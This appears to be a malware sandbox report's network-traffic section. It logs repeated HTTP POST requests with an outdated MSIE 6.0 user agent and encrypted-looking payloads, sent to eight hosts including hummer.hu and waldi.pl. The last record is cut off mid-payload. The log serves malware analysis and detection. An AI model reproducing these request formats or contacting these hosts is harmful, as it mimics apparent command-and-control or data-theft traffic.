Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.hummer.huCache-Control: no-cacheData Raw: 45 56 6b 38 4e 39 45 6d 2b 2f 65 73 6c 42 6a 73 63 44 45 51 73 43 72 6e 78 34 4b 50 30 42 66 6e 6c 55 49 4a 63 6d 75 34 75 50 38 45 5a 66 34 72 6c 2f 53 4f 74 59 35 6f 70 54 31 4d 76 54 2b 4e 37 37 47 42 38 66 78 67 6a 6a 38 66 57 49 34 50 68 35 73 37 4c 6c 61 4c 65 4d 58 67 49 79 4c 48 61 58 42 31 76 47 42 75 67 4a 4f 4d 49 6b 75 42 63 48 33 63 47 30 6a 39 61 68 41 42 2f 68 70 67 78 63 38 48 43 41 75 57 2b 73 2f 43 31 55 78 66 53 58 6b 4b 59 61 46 2b 6b 36 6e 46 64 62 5a 41 70 65 39 7a 6f 68 34 68 74 66 43 39 61 2b 49 6f 6b 79 39 52 63 4c 5a 36 61 6e 78 6f 55 33 42 67 58 56 78 68 5a 39 38 72 73 51 57 4d 47 66 46 34 78 64 7a 2b 42 32 36 78 69 53 67 31 53 39 67 5a 75 51 6a 61 55 68 53 61 52 42 68 51 4b 47 71 5a 73 71 36 69 42 72 6c 58 31 67 73 72 52 44 54 6d 65 76 33 74 71 41 5a 34 2b 37 37 75 65 63 36 50 75 38 4c 34 53 45 32 71 35 71 61 76 6d 45 2b 35 37 53 33 2b 67 55 6d 73 53 58 6e 42 75 65 69 53 37 2f 66 4e 4c 51 61 76 79 50 64 47 67 78 79 43 4b 71 6f 49 65 57 47 37 36 45 68 65 62 38 2b 51 55 32 72 30 4e 52 55 49 6c 45 6e 70 55 78 7a 73 70 4e 4d 58 41 31 49 4d 6b 63 66 68 6a 58 50 49 6f 37 64 64 6c 62 77 64 39 64 57 74 46 4a 54 6a 66 55 52 63 42 73 59 69 45 7a 6e 45 36 6a 62 4f 6f 5a 32 4f 46 73 57 69 6f 6d 34 53 6b 66 71 68 4c 68 69 70 57 74 57 2f 47 73 4e 66 62 4c 46 71 49 4c 31 44 78 57 5a 71 42 44 6a 79 66 43 32 31 4b 6f 35 58 31 51 39 6f 4e 4e 6e 6f 32 50 6e 65 33 77 6c 2b 58 6c 5a 64 31 43 30 51 55 6b 6a 2f 4c 63 4c 5a 50 62 2f 79 7a 4d 53 72 67 42 68 36 71 4a 38 32 43 76 70 44 6e 53 6a 6b 79 46 66 32 63 4a 50 75 33 39 46 41 46 49 77 57 45 52 43 48 6d 34 63 53 52 64 4f 4e 44 74 63 50 37 2b 37 52 4f 77 4d 6a 35 37 59 68 39 47 36 4f 74 68 61 4c 34 53 79 55 36 58 4c 56 72 69 31 42 75 77 56 51 Data Ascii: EVk8N9Em+/eslBjscDEQsCrnx4KP0BfnlUIJcmu4uP8EZf4rl/SOtY5opT1MvT+N77GB8fxgjj8fWI4Ph5s7LlaLeMXgIyLHaXB1vGBugJOMIkuBcH3cG0j9ahAB/hpgxc8HCAuW+s/C1UxfSXkKYaF+k6nFdbZApe9zoh4htfC9a+Ioky9RcLZ6anxoU3BgXVxhZ98rsQWMGfF4xdz+B26xiSg1S9gZuQjaUhSaRBhQKGqZsq6iBrlX1gsrRDTmev3tqAZ4+77uec6Pu8L4SE2q5qavmE+57S3+gUmsSXnBueiS7/fNLQavyPdGgxyCKqoIeWG76Eheb8+QU2r0NRUIlEnpUxzspNMXA1IMkcfhjXPIo7ddlbwd9dWtFJTjfURcBsYiEznE6jbOoZ2OFsWiom4SkfqhLhipWtW/GsNfbLFqIL1DxWZqBDjyfC21Ko5X1Q9oNNno2Pne3wl+XlZd1C0QUkj/LcLZPb/yzMSrgBh6qJ82CvpDnSjkyFf2cJPu39FAFIwWERCHm4cSRdONDtcP7+7ROwMj57Yh9G6OthaL4SyU6XLVri1BuwVQ
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.wifi4all.nlCache-Control: no-cacheData Raw: 47 7a 37 33 59 2f 77 2b 6b 76 67 68 71 63 49 4b 70 34 36 51 52 34 39 50 6e 6c 6d 55 48 7a 31 76 38 4d 66 41 44 54 51 4a 35 68 58 6e 52 68 62 47 79 37 67 47 49 39 33 35 56 7a 63 6d 64 67 2f 72 71 59 72 34 69 58 4d 6f 74 46 77 56 69 79 65 75 72 54 4d 74 67 57 46 6c 2f 74 44 47 4e 41 52 73 59 42 7a 79 77 39 6f 55 34 67 72 63 35 6c 34 32 6c 4d 54 67 36 6f 35 53 49 6f 77 32 7a 6c 5a 31 31 73 6f 47 67 59 4c 58 57 66 52 5a 6c 5a 30 5a 32 33 4c 6a 6e 49 53 76 2f 69 4a 6f 2f 49 35 44 50 6f 33 52 5a 47 59 57 70 74 75 4d 77 32 78 33 35 42 4f 4c 33 4e 33 45 2f 7a 4c 32 68 7a 77 61 4f 6e 46 30 68 6b 46 70 31 2b 5a 32 61 73 50 45 46 78 71 6c 4a 70 73 75 4b 71 4b 4f 57 4b 41 55 53 49 59 47 52 64 38 2f 37 55 56 45 44 54 59 35 4c 50 70 5a 70 32 71 31 2b 33 61 44 41 53 74 38 55 76 74 53 65 4f 7a 69 6d 30 41 70 63 50 70 64 75 52 45 37 4f 48 44 6d 58 6e 37 34 4e 6b 62 6d 33 42 71 36 49 61 31 72 70 72 6b 75 59 33 73 4c 36 31 37 78 42 31 63 44 58 53 48 61 37 62 55 2b 41 41 36 56 48 7a 30 31 75 79 6c 31 70 48 64 33 2b 73 4c 54 47 54 66 4e 7a 77 31 2b 50 67 37 66 32 6c 39 43 46 39 69 31 69 57 61 70 47 5a 4a 61 30 6f 32 6d 65 78 72 4f 6f 56 57 31 33 79 50 6b 63 72 2b 30 66 41 48 46 6d 35 47 59 75 73 4c 42 54 6f 33 37 50 2f 6c 75 59 63 4e 70 6a 39 4f 70 4e 33 69 6d 77 49 32 45 73 4f 4c 4c 76 76 78 56 6d 34 79 37 42 4d 61 49 67 55 77 77 5a 36 79 4f 52 58 2b 68 57 4f 2b 6d 62 46 78 70 2f 51 54 46 30 63 6b 47 57 77 4a 55 66 77 4a 50 75 6e 56 6f 55 69 43 31 30 70 66 62 52 4c 55 6f 49 46 32 2b 67 41 58 68 2b 2b 77 48 61 69 59 58 74 62 50 68 76 2f 5a 61 45 42 46 67 6b 66 33 6e 55 69 36 57 51 76 32 35 57 71 61 64 64 6d 52 62 47 77 58 63 55 68 4b 6d 63 46 43 6b 58 57 66 30 37 66 68 42 2f 67 3d 3d Data Ascii: Gz73Y/w+kvghqcIKp46QR49PnlmUHz1v8MfADTQJ5hXnRhbGy7gGI935Vzcmdg/rqYr4iXMotFwViyeurTMtgWFl/tDGNARsYBzyw9oU4grc5l42lMTg6o5SIow2zlZ11soGgYLXWfRZlZ0Z23LjnISv/iJo/I5DPo3RZGYWptuMw2x35BOL3N3E/zL2hzwaOnF0hkFp1+Z2asPEFxqlJpsuKqKOWKAUSIYGRd8/7UVEDTY5LPpZp2q1+3aDASt8UvtSeOzim0ApcPpduRE7OHDmXn74Nkbm3Bq6Ia1rprkuY3sL617xB1cDXSHa7bU+AA6VHz01uyl1pHd3+sLTGTfNzw1+Pg7f2l9CF9i1iWapGZJa0o2mexrOoVW13yPkcr+0fAHFm5GYusLBTo37P/luYcNpj9OpN3imwI2EsOLLvvxVm4y7BMaIgUwwZ6yORX+hWO+mbFxp/QTF0ckGWwJUfwJPunVoUiC10pfbRLUoIF2+gAXh++wHaiYXtbPhv/ZaEBFgkf3nUi6WQv25WqaddmRbGwXcUhKmcFCkXWf07fhB/g==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ora.ecnet.jpCache-Control: no-cacheData Raw: 74 5a 67 79 5a 6d 35 38 77 76 64 38 52 47 50 37 65 52 69 68 64 64 48 58 65 39 58 75 78 6a 6c 4d 67 71 74 6e 4c 44 31 58 47 43 76 34 68 64 48 53 77 62 78 62 69 33 4a 77 64 6b 5a 34 70 4b 47 6f 75 2b 4a 47 51 62 66 4f 41 4e 7a 57 7a 64 66 62 6e 38 4a 78 43 74 61 75 41 73 5a 44 6a 42 6f 43 45 71 66 67 36 77 4e 35 36 43 50 35 76 66 67 77 78 38 73 79 41 36 6e 58 43 41 35 57 6b 32 6a 69 75 72 37 53 30 6f 6f 51 35 54 34 4a 49 43 50 68 4e 65 55 31 63 76 2f 52 50 4a 6a 44 59 46 56 6c 72 48 50 57 62 39 4e 36 52 47 6a 55 50 73 76 77 66 79 71 51 6a 67 32 43 4a 34 74 56 46 69 2b 6d 59 71 58 4d 4b 74 65 53 41 77 64 71 79 72 6c 30 55 54 6c 6f 66 46 31 41 63 77 46 7a 48 69 6d 4e 4a 50 35 50 50 62 77 70 72 72 37 42 4d 63 65 4e 70 2b 61 36 41 2f 50 69 74 4c 65 62 4d 62 76 51 59 61 45 70 58 54 51 65 63 4b 31 44 59 68 74 64 6f 50 6c 6b 71 55 50 49 7a 33 62 59 69 46 6f 50 78 4b 45 36 6e 31 55 4d 38 54 73 66 54 6c 36 61 61 4f 7a 65 62 4c 67 53 33 4a 69 43 76 59 34 61 6a 35 4c 34 43 50 69 72 6d 58 50 30 33 37 45 33 49 38 51 56 66 4c 4e 38 2f 5a 44 5a 2f 71 54 53 6b 63 50 4e 55 51 43 78 4a 41 58 46 42 73 58 6d 6b 57 48 54 4f 78 36 5a 7a 2b 56 61 33 4d 51 35 5a 44 6e 6e 69 38 6d 48 32 74 32 33 37 6f 44 4b 39 35 52 62 44 6f 34 7a 38 45 75 50 79 77 38 72 63 41 69 30 4f 5a 34 32 77 35 72 31 44 58 75 78 43 34 31 77 34 4a 39 33 66 2f 33 39 66 78 34 6a 68 65 6f 43 53 6c 78 6c 4e 67 34 31 45 6d 4a 55 78 50 63 4e 56 73 74 52 65 64 73 75 55 34 4f 37 63 63 54 79 7a 4b 45 68 32 63 71 58 37 58 49 63 47 33 62 31 48 72 64 6f 78 68 56 37 4a 76 37 62 69 6a 56 4f 4c 79 6c 49 50 4c 2f 55 4d 31 38 6d 70 42 52 42 6c 64 66 75 6c 4d 74 35 6b 31 4d 6a 2f 4d 37 39 66 70 54 7a 47 4b 78 37 43 55 47 45 67 67 3d 3d Data Ascii: tZgyZm58wvd8RGP7eRihddHXe9XuxjlMgqtnLD1XGCv4hdHSwbxbi3JwdkZ4pKGou+JGQbfOANzWzdfbn8JxCtauAsZDjBoCEqfg6wN56CP5vfgwx8syA6nXCA5Wk2jiur7S0ooQ5T4JICPhNeU1cv/RPJjDYFVlrHPWb9N6RGjUPsvwfyqQjg2CJ4tVFi+mYqXMKteSAwdqyrl0UTlofF1AcwFzHimNJP5PPbwprr7BMceNp+a6A/PitLebMbvQYaEpXTQecK1DYhtdoPlkqUPIz3bYiFoPxKE6n1UM8TsfTl6aaOzebLgS3JiCvY4aj5L4CPirmXP037E3I8QVfLN8/ZDZ/qTSkcPNUQCxJAXFBsXmkWHTOx6Zz+Va3MQ5ZDnni8mH2t237oDK95RbDo4z8EuPyw8rcAi0OZ42w5r1DXuxC41w4J93f/39fx4jheoCSlxlNg41EmJUxPcNVstRedsuU4O7ccTyzKEh2cqX7XIcG3b1HrdoxhV7Jv7bijVOLylIPL/UM18mpBRBldfulMt5k1Mj/M79fpTzGKx7CUGEgg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 600User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.synetik.netCache-Control: no-cacheData Raw: 56 57 36 59 61 79 46 76 71 2f 67 5a 31 41 45 55 67 4c 36 6a 42 66 70 6a 70 46 49 66 68 31 52 2f 35 61 2f 7a 35 50 49 48 36 48 35 32 6f 68 79 51 35 46 7a 59 44 71 43 78 65 56 76 57 64 5a 72 56 2f 53 4d 35 37 37 74 52 43 6b 67 74 72 71 54 72 50 4c 7a 4f 33 31 6b 78 6d 6f 78 47 42 42 68 6d 6c 58 5a 6d 6a 76 5a 35 5a 77 6e 31 34 2f 69 7a 54 6d 4f 58 42 69 32 69 4a 36 2f 6a 70 55 65 69 52 68 74 6a 4e 6f 35 55 39 4d 2f 59 79 63 37 4a 58 39 4f 78 6f 78 73 67 75 4b 44 43 4b 39 65 39 6f 61 72 70 33 63 49 55 4f 4c 37 4c 49 72 46 6e 36 73 4f 66 43 47 76 58 62 2b 6f 68 34 2b 68 78 65 6b 63 78 49 37 4f 33 62 78 4d 62 77 4d 50 79 58 58 50 35 6f 68 53 35 49 46 47 53 64 46 58 57 44 47 42 4f 4c 4c 34 75 77 66 6d 4d 77 2b 37 66 2f 51 4a 34 77 4a 65 62 4e 4f 4b 45 66 68 65 71 6b 48 31 54 46 4a 64 79 64 4a 77 73 4f 6d 77 74 41 2f 76 61 6d 42 69 43 78 32 51 71 33 36 39 42 6f 77 59 44 72 32 51 38 54 50 77 55 4d 57 67 69 71 2f 70 7a 6e 64 64 44 51 32 38 7a 44 42 50 2b 6c 38 61 35 31 63 64 75 72 44 4c 65 52 59 37 6d 63 41 70 34 41 45 42 75 46 70 78 5a 6b 35 33 4f 30 47 43 47 76 53 41 51 72 41 6d 33 78 6a 6c 4f 39 4c 63 59 48 31 71 32 62 46 31 69 37 73 43 49 46 48 70 66 6a 52 33 4c 49 49 75 41 59 62 41 77 35 62 47 45 33 44 70 52 49 64 71 31 61 2f 30 46 49 47 6f 33 4e 61 70 7a 72 6f 48 4c 53 45 4f 55 66 64 73 35 37 76 55 38 4e 59 78 36 69 74 2b 4f 66 76 77 75 39 6f 63 4f 47 2b 70 6a 45 38 64 4b 38 2f 32 68 76 57 6a 38 38 69 35 36 67 34 79 4f 51 70 76 35 49 4c 4f 2f 63 73 56 65 51 33 53 6b 4d 35 6e 53 35 46 35 38 74 72 49 36 6f 56 70 75 38 76 4a 37 2f 31 35 73 2f 71 31 31 4f 61 75 59 38 44 45 61 38 69 36 39 77 70 64 46 50 78 41 77 77 47 72 69 46 6a 31 36 46 69 58 6a 47 42 73 79 4b 63 46 51 30 42 67 74 6a 52 6f 36 41 31 2f 63 4a 6b 39 31 61 6c 52 61 33 43 47 66 43 43 34 72 2f 79 48 62 4b 79 49 34 Data Ascii: VW6YayFvq/gZ1AEUgL6jBfpjpFIfh1R/5a/z5PIH6H52ohyQ5FzYDqCxeVvWdZrV/SM577tRCkgtrqTrPLzO31kxmoxGBBhmlXZmjvZ5Zwn14/izTmOXBi2iJ6/jpUeiRhtjNo5U9M/Yyc7JX9OxoxsguKDCK9e9oarp3cIUOL7LIrFn6sOfCGvXb+oh4+hxekcxI7O3bxMbwMPyXXP5ohS5IFGSdFXWDGBOLL4uwfmMw+7f/QJ4wJebNOKEfheqkH1TFJdydJwsOmwtA/vamBiCx2Qq369BowYDr2Q8TPwUMWgiq/pznddDQ28zDBP+l8a51cdurDLeRY7mcAp4AEBuFpxZk53O0GCGvSAQrAm3xjlO9LcYH1q2bF1i7sCIFHpfjR3LIIuAYbAw5bGE3DpRIdq1a/0FIGo3NapzroHLSEOUfds57vU8NYx6it+Ofvwu9ocOG+pjE8dK8/2hvWj88i56g4yOQpv5ILO/csVeQ3SkM5nS5F58trI6oVpu8vJ7/15s/q11OauY8DEa8i69wpdFPxAwwGriFj16FiXjGBsyKcFQ0BgtjRo6A1/cJk91alRa3CGfCC4r/yHbKyI4
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.xaicom.esCache-Control: no-cacheData Raw: 6e 43 33 4e 4c 4c 6b 42 4e 66 67 65 32 4a 38 4a 53 4c 2f 67 49 46 4c 4b 5a 43 36 58 57 58 6c 50 2f 5a 2f 2b 5a 75 4d 75 67 44 34 6d 58 39 76 47 45 4d 4e 49 4d 2b 31 4e 62 72 53 35 67 45 35 61 4f 64 4e 41 63 36 57 4f 54 41 6d 39 59 76 64 56 4f 57 67 56 6f 5a 31 33 77 30 62 44 61 38 41 43 78 6f 4b 59 57 46 75 44 5a 71 72 45 78 6c 78 38 51 36 61 2b 69 46 4d 76 64 77 48 47 73 39 34 47 47 2f 31 58 6d 36 48 6a 70 66 36 44 4b 4f 70 42 72 72 57 66 58 6b 46 71 68 42 6e 78 33 4c 42 59 37 77 47 43 76 52 39 58 47 63 6b 6f 78 61 6c 46 67 78 62 36 37 4e 62 2b 2b 37 57 5a 42 7a 73 6d 6c 75 45 61 34 6b 4f 7a 32 39 4e 77 58 63 5a 79 44 72 51 4e 68 4b 4e 63 51 72 35 6c 71 4e 61 76 49 74 45 6f 67 64 38 2b 46 7a 6e 50 52 32 38 71 4f 37 76 77 7a 39 30 56 2f 47 6f 4f 53 44 75 30 51 59 30 51 78 6a 30 43 39 58 2f 68 48 59 79 54 48 4f 79 36 6a 30 31 66 52 7a 49 4c 6b 6f 31 71 35 6c 76 76 35 76 78 49 4e 6b 73 79 6a 32 36 6e 37 34 4b 6d 53 6e 5a 2b 6e 39 47 39 6c 6c 63 7a 63 56 62 4d 66 55 52 42 51 6a 77 42 56 76 2f 47 73 2b 6b 4e 36 57 48 71 6b 33 32 42 55 57 77 35 49 70 71 34 74 31 4f 6d 52 2f 71 68 34 30 6f 67 66 54 6b 41 73 57 49 51 52 62 32 76 2b 2b 79 68 4c 65 63 75 66 7a 31 44 56 30 61 54 43 6d 7a 46 6f 56 34 49 50 6e 4e 6f 72 38 35 6e 41 65 6c 67 6b 54 32 37 63 6a 4c 69 30 78 4c 61 71 6a 62 79 35 2b 41 4d 6a 69 48 37 38 66 71 73 6c 42 62 51 6e 73 37 75 77 31 4f 50 51 6a 54 33 6b 4f 31 71 63 6c 4a 59 52 49 31 44 54 70 34 4c 6f 58 31 38 39 59 30 71 79 66 76 4f 6e 37 52 78 66 70 36 5a 35 61 4c 61 34 6a 43 33 69 74 78 32 67 69 67 70 49 70 73 34 49 49 4a 55 55 4b 6e 56 6a 45 42 74 65 6f 54 45 7a 76 6c 6d 64 76 2f 53 54 48 4d 4f 35 4f 64 6b 5a 4b 38 31 45 74 41 4f 72 46 32 72 51 6e 47 73 55 6d 7a 78 41 4c 51 47 55 4c 30 32 31 41 3d 3d Data Ascii: nC3NLLkBNfge2J8JSL/gIFLKZC6XWXlP/Z/+ZuMugD4mX9vGEMNIM+1NbrS5gE5aOdNAc6WOTAm9YvdVOWgVoZ13w0bDa8ACxoKYWFuDZqrExlx8Q6a+iFMvdwHGs94GG/1Xm6Hjpf6DKOpBrrWfXkFqhBnx3LBY7wGCvR9XGckoxalFgxb67Nb++7WZBzsmluEa4kOz29NwXcZyDrQNhKNcQr5lqNavItEogd8+FznPR28qO7vwz90V/GoOSDu0QY0Qxj0C9X/hHYyTHOy6j01fRzILko1q5lvv5vxINksyj26n74KmSnZ+n9G9llczcVbMfURBQjwBVv/Gs+kN6WHqk32BUWw5Ipq4t1OmR/qh40ogfTkAsWIQRb2v++yhLecufz1DV0aTCmzFoV4IPnNor85nAelgkT27cjLi0xLaqjby5+AMjiH78fqslBbQns7uw1OPQjT3kO1qclJYRI1DTp4LoX189Y0qyfvOn7Rxfp6Z5aLa4jC3itx2gigpIps4IIJUUKnVjEBteoTEzvlmdv/STHMO5OdkZK81EtAOrF2rQnGsUmzxALQGUL021A==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 600User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.waldi.plCache-Control: no-cacheData Raw: 5a 47 53 42 4a 65 54 49 75 66 69 77 4c 58 4e 45 66 2f 34 73 67 72 65 31 42 36 79 63 6f 38 76 38 57 48 77 39 4b 47 30 30 65 51 4b 79 64 4e 4d 41 45 56 56 77 7a 72 77 35 32 53 59 32 51 2b 41 67 39 34 4d 48 33 61 49 65 66 6d 78 77 52 61 79 79 34 36 51 56 5a 31 76 67 63 70 4b 4f 5a 61 39 4c 47 45 71 66 64 6a 2f 47 4c 46 38 32 62 62 48 46 78 51 4f 38 51 33 52 4e 4e 2b 2b 77 37 6b 4e 75 71 78 34 48 46 73 77 37 61 35 4d 51 79 6c 6d 75 62 34 52 62 68 32 44 50 51 43 4e 44 52 62 41 64 75 73 61 6b 48 30 64 33 51 6d 4d 58 41 57 57 62 79 65 67 7a 51 4a 68 64 6e 50 51 63 69 34 63 71 4e 4c 47 7a 52 46 6d 6a 4c 59 43 59 4e 31 4d 43 77 44 33 52 68 37 58 34 58 30 67 58 68 69 4d 4e 67 73 78 47 67 55 64 68 6f 49 74 38 45 46 39 73 50 4a 79 64 68 53 34 32 49 54 34 2b 6b 7a 53 42 71 44 71 44 59 48 49 63 39 51 37 5a 6f 76 68 63 54 4a 49 45 62 61 66 50 7a 6d 74 50 70 52 61 56 32 61 4e 6a 6f 51 35 61 42 58 38 56 79 4e 51 5a 31 34 33 51 76 62 5a 4d 53 69 7a 7a 50 71 43 73 6b 5a 51 50 45 47 64 50 51 43 37 34 6f 49 35 6a 4a 51 59 6f 35 42 61 44 4e 39 6c 49 64 55 6f 51 57 32 31 6f 42 2b 58 44 54 48 66 69 4e 35 53 44 56 77 50 46 6c 4e 57 61 37 54 4d 55 70 31 4b 4a 6a 64 65 30 6e 42 79 4e 51 4a 6f 31 6a 36 4d 44 37 74 54 32 4f 64 6e 61 79 42 72 45 45 4d 31 68 32 48 67 6d 78 5a 31 2b 46 31 63 4e 52 51 59 54 46 57 34 4e 6b 41 44 49 4a 4b 59 74 4d 6e 52 77 58 44 56 37 50 63 46 6d 35 57 41 71 57 57 39 73 6a 35 58 56 75 56 4b 7a 51 5a 74 77 55 71 61 59 63 47 6b 69 72 6f 48 53 72 77 47 77 4f 4c 43 2b 74 4e 78 56 39 68 31 77 77 4d 66 4e 75 44 41 30 68 4c 77 47 48 69 39 38 39 43 76 71 56 2f 4d 65 2b 71 2f 31 4b 52 6a 56 52 44 6d 59 44 69 37 78 62 66 47 46 68 57 6d 49 43 46 44 4b 62 65 59 42 4c 53 72 51 61 31 59 66 57 57 77 6c 59 6d 64 2b 42 42 4a 65 48 43 32 4b 6a 79 51 68 76 64 67 36 37 43 61 2b 4f 36 51 3d Data Ascii: ZGSBJeTIufiwLXNEf/4sgre1B6yco8v8WHw9KG00eQKydNMAEVVwzrw52SY2Q+Ag94MH3aIefmxwRayy46QVZ1vgcpKOZa9LGEqfdj/GLF82bbHFxQO8Q3RNN++w7kNuqx4HFsw7a5MQylmub4Rbh2DPQCNDRbAdusakH0d3QmMXAWWbyegzQJhdnPQci4cqNLGzRFmjLYCYN1MCwD3Rh7X4X0gXhiMNgsxGgUdhoIt8EF9sPJydhS42IT4+kzSBqDqDYHIc9Q7ZovhcTJIEbafPzmtPpRaV2aNjoQ5aBX8VyNQZ143QvbZMSizzPqCskZQPEGdPQC74oI5jJQYo5BaDN9lIdUoQW21oB+XDTHfiN5SDVwPFlNWa7TMUp1KJjde0nByNQJo1j6MD7tT2OdnayBrEEM1h2HgmxZ1+F1cNRQYTFW4NkADIJKYtMnRwXDV7PcFm5WAqWW9sj5XVuVKzQZtwUqaYcGkiroHSrwGwOLC+tNxV9h1wwMfNuDA0hLwGHi989CvqV/Me+q/1KRjVRDmYDi7xbfGFhWmICFDKbeYBLSrQa1YfWWwlYmd+BBJeHC2KjyQhvdg67Ca+O6Q=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.sjbs.orgCache-Control: no-cacheData Raw: 67 61 34 37 76 73 54 37 57 76 69 63 44 67 52 67 33 39 53 42 72 35 66 50 75 70 7a 38 54 33 75 7a 4f 47 31 54 55 34 6a 35 71 34 6b 58 56 77 67 48 76 47 38 52 41 75 31 77 50 71 6b 31 6c 43 6b 4e 35 76 6e 32 58 73 56 61 64 6e 42 67 6e 77 31 54 44 33 34 56 4a 37 69 30 56 55 78 5a 39 30 43 6b 39 77 68 4c 54 63 2b 49 4a 33 59 45 57 32 46 74 4a 5a 73 6a 4c 6b 47 4f 6e 67 31 32 68 50 74 46 76 76 64 51 61 4e 4f 7a 69 70 56 77 33 49 37 46 77 54 51 6b 36 56 52 65 65 70 6a 43 46 2b 62 35 50 47 52 4b 77 73 4a 39 34 66 37 74 30 74 4e 65 70 2b 57 57 35 38 30 61 37 74 41 79 47 4f 55 2b 70 45 67 46 53 67 30 57 52 65 6e 52 51 56 70 6a 67 38 43 78 66 36 2b 34 6e 47 39 6b 31 41 31 4a 45 71 64 34 6f 4e 38 72 46 57 65 48 30 74 31 2b 56 57 6d 57 48 31 32 74 2b 4f 54 4d 76 38 45 59 5a 36 50 51 2f 6d 69 33 56 44 49 79 37 41 64 43 6c 39 2b 44 52 75 63 4d 53 47 75 54 6a 75 68 38 7a 54 38 6a 4e 4d 59 65 62 77 58 2b 66 71 33 36 42 6d 7a 30 6c 6c 31 69 55 6a 59 59 63 70 62 31 79 65 49 34 76 32 30 59 2b 30 33 56 4b 4e 67 2f 77 37 7a 46 32 4f 53 77 4a 4f 6b 42 33 45 35 4d 62 4d 6c 4b 62 47 4e 51 75 6d 6f 47 75 4c 68 75 32 61 45 6a 53 67 71 68 68 6d 6d 6f 52 50 54 6b 6c 4e 4c 77 79 6a 6a 57 44 43 65 6b 2b 75 43 46 77 79 49 47 6c 54 76 42 78 6c 4d 76 70 43 75 56 42 34 6c 35 45 6c 36 63 72 32 6f 47 36 51 33 73 50 31 35 7a 2f 61 35 53 77 48 55 73 4c 70 56 30 6e 54 4d 74 42 50 5a 38 33 78 52 70 30 47 51 31 59 35 37 52 44 58 50 71 48 31 48 4d 75 73 58 32 43 69 4a 70 4f 6f 53 4e 44 36 45 79 56 6a 77 33 30 66 6b 43 74 47 7a 41 61 63 49 53 68 66 4c 61 79 64 41 70 53 38 31 68 31 63 42 67 47 72 46 55 68 37 34 78 61 36 38 3d Data Ascii: ga47vsT7WvicDgRg39SBr5fPupz8T3uzOG1TU4j5q4kXVwgHvG8RAu1wPqk1lCkN5vn2XsVadnBgnw1TD34VJ7i0VUxZ90Ck9whLTc+IJ3YEW2FtJZsjLkGOng12hPtFvvdQaNOzipVw3I7FwTQk6VReepjCF+b5PGRKwsJ94f7t0tNep+WW580a7tAyGOU+pEgFSg0WRenRQVpjg8Cxf6+4nG9k1A1JEqd4oN8rFWeH0t1+VWmWH12t+OTMv8EYZ6PQ/mi3VDIy7AdCl9+DRucMSGuTjuh8zT8jNMYebwX+fq36Bmz0ll1iUjYYcpb1yeI4v20Y+03VKNg/w7zF2OSwJOkB3E5MbMlKbGNQumoGuLhu2aEjSgqhhmmoRPTklNLwyjjWDCek+uCFwyIGlTvBxlMvpCuVB4l5El6cr2oG6Q3sP15z/a5SwHUsLpV0nTMtBPZ83xRp0GQ1Y57RDXPqH1HMusX2CiJpOoSND6EyVjw30fkCtGzAacIShfLaydApS81h1cBgGrFUh74xa68=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.t-tre.comCache-Control: no-cacheData Raw: 72 47 67 74 6f 47 64 68 53 66 69 71 39 61 2b 58 46 75 38 47 6d 44 42 34 53 68 37 64 78 61 39 68 69 38 73 63 4c 4a 6e 54 54 65 59 36 53 4a 65 53 44 63 61 49 72 34 52 57 4f 4a 6b 51 66 34 46 32 77 38 75 4d 33 53 52 49 49 6d 4c 34 65 68 4e 65 6a 58 37 54 47 39 75 31 62 71 78 5a 61 79 66 51 43 37 43 72 44 52 50 4f 77 31 55 79 52 34 33 79 39 62 53 30 57 49 78 6e 52 68 30 2b 68 52 33 31 79 4c 53 6a 5a 37 62 66 4e 4a 67 67 48 4d 5a 57 48 57 62 6f 77 77 75 6b 49 4c 36 75 76 36 2f 37 61 70 78 4d 53 54 47 56 56 4a 37 6b 61 4e 41 38 56 51 4c 4b 55 46 31 67 6f 6f 6c 65 6f 77 6b 43 6a 68 5a 66 2f 5a 6b 34 78 41 72 63 33 58 41 38 45 33 6f 64 54 6f 31 41 6d 45 61 76 47 56 55 6f 38 79 54 4c 41 58 59 4e 36 73 61 54 71 61 67 33 71 2b 70 73 6c 6b 52 69 47 41 56 69 35 46 79 2f 73 42 57 47 5a 36 30 6b 6c 44 48 49 71 31 4e 4d 64 59 32 57 35 39 72 4f 36 4a 67 70 69 43 43 4c 74 54 74 66 4b 58 67 2f 6d 4d 42 76 55 6f 36 58 39 54 71 65 63 65 67 4b 4b 58 7a 6f 74 75 6e 78 6b 31 76 76 76 71 4a 38 4a 71 54 44 41 69 55 37 6c 31 53 37 7a 36 56 6a 72 42 52 71 4b 4a 4b 43 6f 78 69 57 63 2b 71 4e 69 4b 32 6a 75 2b 36 6c 78 51 31 65 49 79 6b 6f 6a 65 63 57 44 38 52 7a 69 34 69 78 76 35 58 63 4b 6e 2b 67 57 5a 34 63 6d 6f 43 35 43 32 4d 54 67 4f 77 75 53 47 4e 4f 45 57 4c 4c 39 6c 58 4c 55 6f 39 62 4c 6c 63 36 4d 2f 63 35 75 58 78 49 34 4f 59 37 79 63 